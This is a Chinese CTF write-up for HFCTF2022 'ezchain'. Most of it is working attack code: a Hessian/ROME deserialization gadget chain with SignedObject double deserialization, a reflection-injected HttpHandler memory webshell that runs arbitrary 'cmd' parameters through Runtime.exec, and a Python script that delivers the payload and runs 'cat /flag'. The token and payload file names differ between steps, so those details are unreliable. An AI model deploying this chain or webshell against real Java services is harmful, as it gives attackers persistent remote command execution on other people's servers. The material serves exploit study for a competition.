WebHandler内存马
1diot9 Lv5

主要结合HFCTF2022-ezchain讲

前言

这里的hessian链比较容易,用原生jdk就可以打。不过这里不出网,所以要注入内存马,也就是需要加载字节码。这样原生jdk链虽然可以,但是比较繁琐。这里给了ROME链,就结合ROME链打一个二次反序列化。内存马是WebHandler,不太常见,学习一下。

解题

这里偷懒,照搬别人的了。

首先是一个简单的hash碰撞,跟进去找到hashcode的计算方法:img

逻辑很简单,乘31后加就是。看最后两位,只要满足31a+b=31c+d就行了,其中a=50,b=50,手算一个就行。这里找到其中一个,HFCTF201Q。

接下来就是hessian反序列化。这里复现的时候一开始依赖没下完整,以为是打原生jdk,后来才看到有rome链。这里rome链直接放别人的了。

二次反序列化

Rome链SignedObject二次反序列化已经比较熟悉了。

这里主要看看WebHandler内存马怎么写。

正常基于tomcat和spring的内存马都是通过上下文来获取request对象,本题目直接使用http handler搭建服务,我们该如何实现动态注册呢?

按照经验来讲Web中间件是多线程的应用,一般requst对象都会存储在线程对象中,可以通过Thread.currentThread()或Thread.getThreads()获取。img

Thread.currentThread()–>group–>threads[1]–>target–>this$0–>contexts–>list[0]–>handler

内存马:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
import com.sun.net.httpserver.HttpExchange;
import com.sun.net.httpserver.HttpHandler;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.lang.reflect.Field;
import java.lang.reflect.Method;

public class memoryshell extends AbstractTranslet implements HttpHandler {
static {
//获取当前线程
Object o = Thread.currentThread();
try {
Field groupField = o.getClass().getDeclaredField("group");
groupField.setAccessible(true);
Object group = groupField.get(o);

Field threadsField = group.getClass().getDeclaredField("threads");
threadsField.setAccessible(true);
Object t = threadsField.get(group);

Thread[] threads = (Thread[]) t;
for (Thread thread : threads){
if(thread.getName().equals("Thread-2")){
Field targetField = thread.getClass().getDeclaredField("target");
targetField.setAccessible(true);
Object target = targetField.get(thread);

Field thisField = target.getClass().getDeclaredField("this$0");
thisField.setAccessible(true);
Object this$0 = thisField.get(target);

Method createContext = Class.forName("sun.net.httpserver.ServerImpl").getDeclaredMethod("createContext", String.class, HttpHandler.class);
createContext.setAccessible(true);
createContext.invoke(this$0,"/shell",new memoryshell());

}
}
} catch (Exception e) {
e.printStackTrace();
}
}

public void handle(HttpExchange t) throws IOException {
String response = "MemoryShell";
String query = t.getRequestURI().getQuery();
String[] var3 = query.split("=");
ByteArrayOutputStream output = null;
if (var3[0].equals("cmd")){
InputStream inputStream = Runtime.getRuntime().exec(var3[1]).getInputStream();
output = new ByteArrayOutputStream();
byte[] buffer = new byte[4096];
int n = 0;
while (-1 != (n = inputStream.read(buffer))) {
output.write(buffer, 0, n);
}
}
response+=("\n"+new String(output.toByteArray()));
t.sendResponseHeaders(200, (long)response.length());
OutputStream os = t.getResponseBody();
os.write(response.getBytes());
os.close();
}
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}

public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}

}

EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
package com.ctf.ezchain;

import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import com.rometools.rome.feed.impl.EqualsBean;
import com.rometools.rome.feed.impl.ObjectBean;
import com.rometools.rome.feed.impl.ToStringBean;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.security.*;
import java.util.Base64;
import java.util.HashMap;
import javax.xml.transform.Templates;

public class memEXP {
//为类的属性设置值
public static void setValue(Object target, String name, Object value) throws Exception {
Field field = target.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(target,value);
}
public static HashMap getObject() throws Exception {
TemplatesImpl templates = new TemplatesImpl();

byte[] bytecodes = Files.readAllBytes(Paths.get("D:\\tmp\\memshell\\memoryshell.class"));
setValue(templates,"_name", "aaa");
setValue(templates, "_bytecodes", new byte[][] {bytecodes});
setValue(templates,"_tfactory", new TransformerFactoryImpl());
//构造ToStringBean
ToStringBean toStringBean=new ToStringBean(Templates.class,templates);
ToStringBean toStringBean1=new ToStringBean(String.class,"s");
//构造ObjectBean
ObjectBean objectBean=new ObjectBean(ToStringBean.class,toStringBean1);
//构造HashMap
HashMap hashMap=new HashMap();
hashMap.put(objectBean,"snakin");
//反射修改字段
Field obj=EqualsBean.class.getDeclaredField("obj");
Field equalsBean=ObjectBean.class.getDeclaredField("equalsBean");

obj.setAccessible(true);
equalsBean.setAccessible(true);

obj.set(equalsBean.get(objectBean),toStringBean);

return hashMap;
}

public static void main(String[] args) throws Exception {
HashMap evilhashMap=getObject();

KeyPairGenerator keyPairGenerator;
keyPairGenerator = KeyPairGenerator.getInstance("DSA");
keyPairGenerator.initialize(1024);
KeyPair keyPair = keyPairGenerator.genKeyPair();
PrivateKey privateKey = keyPair.getPrivate();
Signature signingEngine = Signature.getInstance("DSA");

SignedObject signedObject = new SignedObject(evilhashMap,privateKey,signingEngine);

ToStringBean toStringBean=new ToStringBean(SignedObject.class,signedObject);
ToStringBean toStringBean1=new ToStringBean(String.class,"s");

ObjectBean objectBean=new ObjectBean(ToStringBean.class,toStringBean1);

HashMap hashMap=new HashMap();
hashMap.put(objectBean,"snakin");

Field obj= EqualsBean.class.getDeclaredField("obj");
Field equalsBean=ObjectBean.class.getDeclaredField("equalsBean");

obj.setAccessible(true);
equalsBean.setAccessible(true);

obj.set(equalsBean.get(objectBean),toStringBean);

Hessian2Output hessianOutput1 = new Hessian2Output(new FileOutputStream("D:\\tmp\\payload.bin"));
hessianOutput1.writeObject(hashMap);
hessianOutput1.close();


}

}

python:

1
2
3
4
5
6
7
8
9
10
11
12
import requests

url = "http://fc468662-a072-4ff6-af4c-aa53ea6a8273.node4.buuoj.cn:81/?token=GeCTF2022"

with open("hession.ser", "rb") as f:
content = f.read()

requests.post(url=url, data=content)

url = "http://fc468662-a072-4ff6-af4c-aa53ea6a8273.node4.buuoj.cn:81/shell?cmd=cat /flag"
text = requests.get(url).text
print(text)

UnixPrintService链

这个这里先不讲了,之后单独开一篇文章

参考

CTF | 2022HFCTF ezchain

2022虎符CTF-Java部分

由 Hexo 驱动 & 主题 Keep
本站由 提供部署服务
总字数 182.7k 访客数 访问量